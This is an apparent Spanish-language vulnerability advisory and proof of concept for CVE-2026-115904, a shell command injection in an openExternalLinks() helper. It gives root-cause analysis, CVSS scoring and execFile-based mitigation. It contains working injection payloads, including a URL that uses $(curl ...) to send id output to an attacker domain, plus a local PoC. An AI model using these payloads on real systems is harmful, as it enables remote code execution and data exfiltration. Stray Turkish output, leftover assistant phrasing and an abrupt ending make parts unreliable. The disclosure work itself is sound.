
Análisis y prueba de concepto de CVE-2026-115904, una inyección de comandos del sistema operativo en openExternalLinks() mediante child_process.exec, con análisis de la causa raíz, payloads y mitigación.
openExternalLinks() en utils.js| ID de CVE | CVE-2026-115904 |
| Clase de vulnerabilidad | Inyección de comandos del SO (CWE-78) |
| Componente afectado | utils.js → openExternalLinks(url) |
| Plataforma afectada | Linux (rama process.platform === "linux") |
| Vector de ataque | Llamada a child_process.exec desencadenada mediante interacción del usuario (clic en un enlace) |
| Puntuación CVSS 3.1 | 9.6 (Crítica) |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (verificado con el registro oficial de CVE) |
| Estado | Parcheado (v2026.9.2410) |
| Fecha de descubrimiento | 23 de septiembre de 2026 |
| Fecha de notificación al proveedor / Solicitud de CVE | 25 de septiembre de 2026 |
| Fecha del parche | 25 de septiembre de 2026 (v2026.9.2410) |
| Fecha de divulgación pública | 28 de octubre de 2026 (fecha de publicación de CVE/GHSA) |
Nota: El campo oficial
dateReserveddel registro de CVE aparece como 23 de octubre de 2026 — esto corresponde aproximadamente a un mes después de su fecha de solicitud del 25 de septiembre. Esta diferencia puede deberse al tiempo de procesamiento por parte del CNA (GitHub); si lo desea, puedo añadir también esta nota a la cronología.
La función openExternalLinks() dentro de utils.js ejecuta el comando xdg-open con child_process.exec() para abrir una URL externa en la plataforma Linux. La función inyecta directamente el valor url proveniente del usuario/flujo de la aplicación en la línea de comandos entre comillas dobles, sin someterlo a ningún proceso de shell-safe escaping. Dado que el comando exec() se ejecuta a través de un shell (/bin/sh -c), las expresiones $(...) (command substitution) insertadas en la URL son interpretadas por el shell, lo que permite la ejecución arbitraria de comandos (RCE).
En consecuencia, cualquier flujo dentro de la aplicación que genere un enlace externo en el que el usuario pueda hacer clic o que pueda desencadenarse (por ejemplo, mensajería, vista previa de enlaces, notificaciones, cliente de correo electrónico, etc.) puede convertirse en ejecución de comandos del sistema operativo mediante una URL controlada por el atacante.
| Métrica | Valor |
|---|---|
| Attack Vector (AV) | Network |
| Attack Complexity (AC) | Low |
| Privileges Required (PR) | None |
| User Interaction (UI) | Required |
| Scope (S) | Changed |
| Confidentiality (C) | High |
| Integrity (I) | High |
| Availability (A) | High |
| Puntuación base | 9.6 (Crítica) |
const openExternalLinks = (url) => {
if (process.platform === "linux") {
const newUrl = new URL(url);
require("child_process").exec(`xdg-open "${newUrl}"`);
} else {
shell.openExternal(url).catch(err => {
let safeUrl = url;
try {
const parsed = new URL(url);
safeUrl = parsed.hostname || url.substring(0, 30) + '...';
} catch(e) {}
const customErr = new Error(`[openExternalLinks] Dış bağlantı açılamadı (Hedef: ${safeUrl}). Hata: ${err.message}`);
customErr.code = err.code;
throw customErr;
});
}
};
new URL(url) solo valida si la URL es sintácticamente válida; no realiza ningún filtrado de meta-caracteres de shell.newUrl (es decir, la salida toString() del objeto URL) se incrusta directamente en un template string como xdg-open "${newUrl}" dentro del comando.child_process.exec() ejecuta el comando dado dentro de un shell (/bin/sh -c "..."). Las comillas dobles ("...") no neutralizan todos los meta-caracteres en el shell: impiden la expansión de espacios y glob (*), pero la command substitution (`cmd` ve $(cmd)) permanece activa incluso dentro de comillas dobles.url un valor que contiene command substitution, el comando entre paréntesis es ejecutado por el shell antes de que se ejecute xdg-open.Enfoque correcto/seguro: usar
child_process.execFile("xdg-open", [url])—execFilepasa los argumentos directamente al proceso sin pasar por un shell y elimina por completo esta clase de inyección. Como alternativa, si se va a usarchild_process.exec, se debe añadir un escaping estricto con una biblioteca similar ashell-quotey, además, una comprobación de allow-list en la que el esquema de la URL se limite únicamente ahttp(s).
$(...) contenido en la URL antes de que se llame a xdg-open.~/.bashrc, crontab, archivos de autostart), apertura de una reverse shell, etc.http://attacker.example/$(curl$IFS-s$IFSsaldirgan.com/$(id|base64))
Nota: La clase URL de WHATWG de Node codifica automáticamente en percent-encoding los caracteres como el espacio, >, <, {, } dentro de la ruta (%20, etc.), pero como $, (, ), |, ; no se codifican, la sustitución de comandos no se bloquea. En los payloads que requieren espacios se utiliza la técnica clásica de $IFS (el $IFS sin paréntesis, que es la variable separadora de palabras del shell y termina automáticamente al encontrar un carácter no identificador).
Un disparador PoC directo e inofensivo (para evidencia out-of-band):
http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)
utils.js en un entorno Linux.openExternalLinks() (por ejemplo, hacer clic en un enlace de un mensaje/notificación).poc.js):
http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)
/tmp/cve-2026-115904-poc.txt y que contiene la salida del comando id.Salida verificada (este PoC ha sido probado en este entorno):
[+] BAŞARILI: Command injection doğrulandı!
[+] /tmp/cve-2026-115904-poc.txt içeriği:
uid=0(root) gid=0(root) groups=0(root)
El hecho de que xdg-open en sí mismo falle (porque no se encuentra el navegador/handler)
no es importante — la sustitución de comandos ya se activa antes de que se llame a xdg-open,
al analizar la línea de comandos del shell.
5. Una vez verificada la ejecución del comando, opcionalmente también se puede demostrar la exfiltración de datos out-of-band con un listener controlado (por ejemplo, una petición a su propio servidor con curl).
Véase poc.js — ejecutando una copia aislada y controlada de la función vulnerable, demuestra la inyección de forma segura en un entorno local (solo con comandos inofensivos como id/touch, sin realizar peticiones externas).
const { execFile } = require("child_process");